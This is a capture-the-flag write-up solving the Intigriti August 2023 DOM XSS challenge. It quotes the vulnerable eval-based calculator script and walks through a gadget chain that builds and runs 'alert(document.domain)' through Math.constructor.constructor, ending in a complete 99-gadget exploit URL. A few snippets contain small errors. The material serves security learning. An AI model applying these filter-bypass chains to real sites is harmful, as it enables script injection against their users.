Write-Up - Intigriti August 2023 Challenge 0823 - DOM XSS using Math module with filters

2023-08-24

Hi all ! Back with a write-up for an Intigriti challenge 😊. This time, it is the Intigriti August 2023 challenge created by @aszx87410.

Statement

This challenge greets us with a Pure Functional Math Calculator. Understand here that all of our inputs are supposed to be functions. A normal use would look like the image below.

Normal use of challeneg

Here, the 1 we get is the result of the following formula : Math.round(Math.cos(Math.sin(Math.random()))). In order to get that formula from the get go with a link, we would have the GET argument ?q=Math.random,Math.sin,Math.cos,Math.round.

So you see where this is going. We are going to inject some sort of payload in this argument in order to get the alert(document.domain) executed with no user interaction.

The hint we were given was that we had to use arrays to later join them.

Overview

First glance

So the ‘recon’ part of this challenge is actually quite straight forward, we have everything in front of us in the Javascript script of the page.

 (function(){
        name = 'Pure Functional Math Calculator'
        let next
        Math.random = function () {
          if (!this.seeds) {
            this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
            next = this.seeds[new Date().getTime() % this.seeds.length]
          }
          next = next * 1103515245 + 12345
          return (next / 65536) % 32767
        }
        console.assert(Math.random() > 0)

        const result = document.querySelector('.result')
        const stack = document.querySelector('.stack-block')
        let operators = []

        document.querySelector('.pad').addEventListener('click', handleClick)

        let qs = new URLSearchParams(window.location.search)
        if (qs.get('q')) {
          const ops = qs.get('q').split(',')
          if (ops.length >= 100) {
            alert('Max length of array is 99, got:' + ops.length)
            return init()
          }

          for(let op of ops) {
            if (!op.startsWith('Math.')) {
              alert(`Operator should start with Math.: ${op}`)
              return init()
            }

            if (!/^[a-zA-Z0-9.]+$/.test(op)) {
              alert(`Invalid operator: ${op}`)
              return init()
            }
          }

          for(let op of ops) {
            addOperator(op)
          }

          calculateResult()
        } else {
          init()
        }

        [...]

        function addOperator(name) {
          result.innerText = `${name}(${result.innerText})`
          operators.push(name)

          let div = document.createElement('div')
          div.textContent = `${operators.length}. ${name}`
          stack.prepend(div)
        }

        function calculateResult() {
          result.innerText = eval(result.innerText)
        }
         
        [...]
        })()

So let’s break this script down a little bit. This code basically :

  • Redefines the Math.random function with a custom function, adding the Math.seeds attributes as well (an Array)
  • Retrieves the ?q argument and performs some sanity checks on it
  • Creates the Math formula from the ?q argument
  • Executes the formula with an eval

So with the previous example, we would execute eval('Math.round(Math.cos(Math.sin(Math.random())))')

Argument format and sanity checks

So the format of the argument is a sequence of function names (gadgets) starting with Math. separated by commas, so only accessing things from this built-in package. The list of constrains are :

  • Gadgets can only start with Math.
  • We can have a total of 99 gadgets maximum
  • Gadgets can only contain alphanumeric characters and dots (see regexp)

I think there’s is no way around these constrains, so we are going to have to follow the rules this time !

Objective of the payload

So first we need to define the aim of our payload. We can basically separate that in two parts :

  • Constructing the string alert(document.domain)
  • Executing this command at the end of the payload

At first, one might think that only getting the string out of the payload would be sufficient. But the eval function will only execute one level of depth. So if our payload is only outputting the alert command, we would basically only get a string as a result and no pop-up.

Constructing the payload

So quite fast we can see that the only way we can craft anything is by using the Math.seeds property defined in the script. This Array will be used to store the characters of the string alert(document.alert) which we can then join to obtain the string.

So basically :

>> Math.seeds;
    Array(22) [ "a", "l", "e", "r", "t", "(", "d", "o", "c", "u",  ]
>> Math.seeds.join('')
    'alert(document.domain)'

So we need to think about how we can get each character inside the array with all the constrains we have.

Know that I am going to explain this directly but it was a lot of trial and error in the JS console 🤓.

Emptying the array

So the first thing we need to do is empty the Math.seeds Array of its base values. Remember we have a limited amount of gadgets, so we are going to try and find the most efficient way of doing that.

After some tests (and DuckDuckGo-ing), I settled with

Math.seeds.splice(Math.seeds.pop.length.valueOf())
// equivalent to Math.seeds.splice(0)

So yeah, this would empty the array, and better than 5 pops in a row.

Getting the letters in the array

Let’s start with the ’easy’ part, getting all the standard letters of the payload in the array. These would be : alert, document, domain.

The way we can get letters in this context is by using the names of the properties we can access directly. Then use the at function on these names (strings) which would give us the nth character of that name at the given index in argument.

For example :

>> Math.acos.name.at(2)
    'o'

Note that this only works with function names.

So this is the way I am going to proceed. I choose to add the letters in reverse order, but I would assume it is the same thing if you do it in normal order. So I would add domain in reverse which is niamod first.

So my base payload to add one character is :

Math.seeds.unshift(Math.acos.name(2))

This will add o at the beginning of the Math.seeds array.

Now another thing to consider is the index at which we call the at function. The function Math.seeds.unshift returns the length of the array after the addition of the new element.

So a chain of two characters considering we have no element to begin with will return 2 :

>> Math.seeds.unshift(Math.acos.name.at(Math.seeds.unshift(Math.acos.name.at())))
    2
>> Math.seeds
    Array(2) ['c', 'a']

(If the at function has no argument, it will be considered to be 0). So this is starting to become ugly (get used to it, challenge sponsored by WayTooLongAndUglygPayloads Inc.).

This snippet would first add the character at index 0 of acos which is a. Then the first unshift returns 1, so the second part would unshift (add) in the array the character at index 1 of acos, which is c.

So this would let us with a total of 2 gadgets (the at and the unshift) for each letter. Remember that we have a length limit of 99 gadgets, so this is important to consider.

But what if we cannot find any function name that can give us the character we want at index n (spoiler alert : we will) ?

Getting a letter at index 0

So to circumvent this problem, I chose to use the same technique but force the payload to look for the letter at index 0. For that, we only need to specify an argument that is equivalent to 0 to the at function ('', '0', 0,...).

I choose to use Math.random.name.toString which returns '', so for example :

>> Math.seeds.unshift(Math.ceil.name.at(Math.random.toString()))
    1
>> Math.seeds
    ['c']

So when we cannot find any method at the current Math.seeds length for the character we want, we can use this technique. But that requires 3 gadgets for one character, so we need to use it only when necessary.

We will get later into the how to actually get those gadgets when we actually have the general structure of the payload.

By the way, each time we will need a '' or 0 value, you will see a Math.random.name.toString() pop. We could also use Math.seeds.pop.length.valueOf as well.

Getting the parenthesis

Now on to the fun part. So we have () in our output string, which means we have to get those somewhere.

So playing with the JS console we can see that :

>> Math.random.toString()
    'function () {
          if (!this.seeds) {
     ' 

gives a string with the source code of the function Math.random. And we can see that it starts with function ().

Since the first character we need in the payload is ) (reverse payload in my case), I chose to add these characters first in the array. So my strategy there was to

  • Add the source code of the Math.random function in Math.seeds as an array split by character (so an array in the array)
  • Shift this array until we get to the ( part of the source code (10 shifts)
  • Push the ( and ) at the end of Math.seeds
  • Remove (shift) the Math.random source code array from Math.seeds
  • Pop and unshift the ) that was at the end of Math.seeds to have it at the beginning

So that would look like (everthing is chained in the real payload) :

>> Math.seeds.push(Math.seeds.slice.apply(Math.random.toString()));
// gadget that pushes the source code as an array in Math.seeds
// Result : [ ['f', 'u', 'n', ...] ]
>> parenthese = Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))))))))))))))))))))
// Basically 10 times shifting the source code array. This returns `(`
>> Math.seeds.push(parenthese) 
// pushing the ')' we got from the previous command
// Result in Math.seeds : [ [')', ' ', ...], '(' ]
>> parenthese2 = Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))
// One more shift of the source code array to get `)`
>> Math.seeds.push(parenthese2)
// Result in Math.seeds -> [ [' ', ' ', ...], '(', ')' ]
>> Math.seeds.unshift()
// Removing the source code array, result in Math.seeds ['(', ')']
>> Math.seeds.unshift(Math.seeds.pop())
// getting the ')' at the end at the beginning of Math.seeds

So the end result of all these gagdgets chained would be that we have in Math.seeds the array [ ')', '(' ].

One particular concept used here is the xxx.apply() method, here Math.seeds.shift.apply. The apply function is a property of another function.

It allows us to use a method of an object, here Math.seeds.shift on another object, here we use it on the Array located in Math.seeds[0], the source code array.

So from this, we can start adding the document.domain letters to obtains the Array

['d', 'o', 'c' , 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')','(']

From this, we only need to use

Math.seeds.unshift(Math.seeds.pop())

to move the ( before the document word and have (document.domain) all set !

Getting the dot

Now on to the final character, I call .. So Mrs.Dot here will have the same treatment as the parentheses. We are going to use the same technique, that is pushing an Array of characters containing a ., shifting until we get to it, pushing the . at the end of Math.seeds to eventually add it to our payload at the begininning of Math.seeds.

For this, I will use Math.LN2 which returns a number equal to 0.6931471805599453. I used this particular one because I needed to have a 0 before the dot in order to save one gadget spot (needed a 0 for an at function).

So the steps are the exact same as before, but we instead have only 2 shifts to get to the .. I will also extract the dot only when I arrive to domain) in my payload, in order to use it directly.

>> Math.seeds.unshift(Math.seeds.slice.apply(Math.LN2.toString()))
// Unshift array of chars in Math.seeds
// result in Math.seeds : [ ['0', '.', ...], 'd', 'o', 'm', 'a', 'i', 'n' ')' ,'(' ]
>> dot = Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))))
// shifting twice to extract the `.`. This outputs the dot char
>> Math.seeds.unshift(Math.seeds.pop(Math.seeds.shift(Math.seeds.push(dot))))
// Pushing the dot at the end of Math.seeds, removing the array of char we added, and placing the dot at the beginning of Math.seeds

So there we have it, our . right where we need it to be !

Joining and executing the payload

So after we somehow get all the gadgets we need, we have in Math.seeds

['a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a','i', 'n']

We can join it with

>> Math.seeds.join(Math.random.name.toString())
// equivalent of Math.seeds.join('')

to get alert(document.domain) as an output. We then need to execute that command. One method I had already used in CTF was to create a function with constructor.

Basically, every JS object has a constructor property that outputs a function that can be used to create another object of the same type. But a constructor also has a constructor, and it is the constructor for a function !

So we have

>> Math.constructor.constructor('alert(document.domain)')
    function anonymous(
    ) {
        alert(document.domain)
    }

We have as an output a function we need to call. For this, I will use the propreties of Array that allow us to execute a function like map, reduce or every. I will use every since it will only pop the alert once, the others will do it for each element of the Math.seeds array.

So in order to get the alert executed, we need to add to our payload at the very end:

>> Math.seeds.every(Math.constructor.constructor(Math.seeds.join()))
// executes the alert if the Math.seeds array has our payload in it

Putting it all together.

So now we have everything we need to get the string alert(document.domain) executed.

The only (big) thing we have left to do is find all the gadgets for all the letters.

Since I had time to kill (thank you long summer night insomnia), I automated the process of looking for each gadget.

The script (click) will use all the objects I could think of that we can access from Math., and list all the methods available. (the code is disgusting but it works, don’t judge).

With these methods, we try for each letter we need at its index to find the character we need in all the methods names we have. (we can find the index by getting the size of what we added before in the Array…)

If we cannot find one, we try at index 0 like I explained (for 1 character I needed to add a case for index 1 as well …).

The script will output the payload for each word. Since we know what we need for the parentheses,dot and the other stuff, we can just add these gadgets in the middle. The script will output this payload.

Alternative (and more efficient probably) : you can just use the JS console and for each caracter, you try with the autocompletion to get the character you want. I ended up doing that instead, only completed the script after that (I know, useless).

To get the formated payloads for the things other than the letters, a small script with a regexp to change the () into , should suffice (I did that).

Fun fact : this payload has a length of 99 gadgets, so hum I guess I’m lucky there !

So if you use the script with node or even the JS console, it will output the following link :

https://challenge-0823.intigriti.io/challenge/index.html?q=Math.seeds.pop.length.valueOf,Math.seeds.splice,Math.random.toString,Math.seeds.slice.apply,Math.seeds.push,Math.random.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.random.name.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.seeds.shift,Math.seeds.pop,Math.seeds.unshift,Math.seeds.concat.name.at,Math.seeds.unshift,Math.seeds.splice.name.at,Math.seeds.unshift,Math.seeds.concat.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.map.name.at,Math.seeds.unshift,Math.seeds.isPrototypeOf.name.at,Math.seeds.unshift,Math.seeds.toSorted.name.at,Math.seeds.unshift,Math.LN2.toString,Math.seeds.slice.apply,Math.seeds.unshift,Math.random.name.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.seeds.shift,Math.seeds.pop,Math.seeds.unshift,Math.seeds.toLocaleString.name.at,Math.seeds.unshift,Math.E.toPrecision.name.at,Math.seeds.unshift,Math.seeds.findLastIndex.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.map.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.unshift.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.concat.name.at,Math.seeds.unshift,Math.abs.length.valueOf,Math.seeds.concat.name.at,Math.seeds.unshift,Math.random.name.toString,Math.constructor.defineProperties.name.at,Math.seeds.unshift,Math.seeds.pop,Math.seeds.unshift,Math.random.name.toString,Math.seeds.toLocaleString.name.at,Math.seeds.unshift,Math.constructor.getOwnPropertyDescriptor.name.at,Math.seeds.unshift,Math.seeds.propertyIsEnumerable.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.lastIndexOf.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.at.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.join,Math.constructor.constructor,Math.seeds.every

You can use it to get the alert !

Conclusion

So overall a pretty tough challenge, not even because of the technical knowledge required but mainly because of the hard constrains we needed to bypass (and it is mostly a bit long to setup). It was more about mind gymnastics than anything, but cool thing to do from time to time.

If you enjoy these types of JS shenaningans, take a look at this root-me.org challenge, I thought it was quite fun.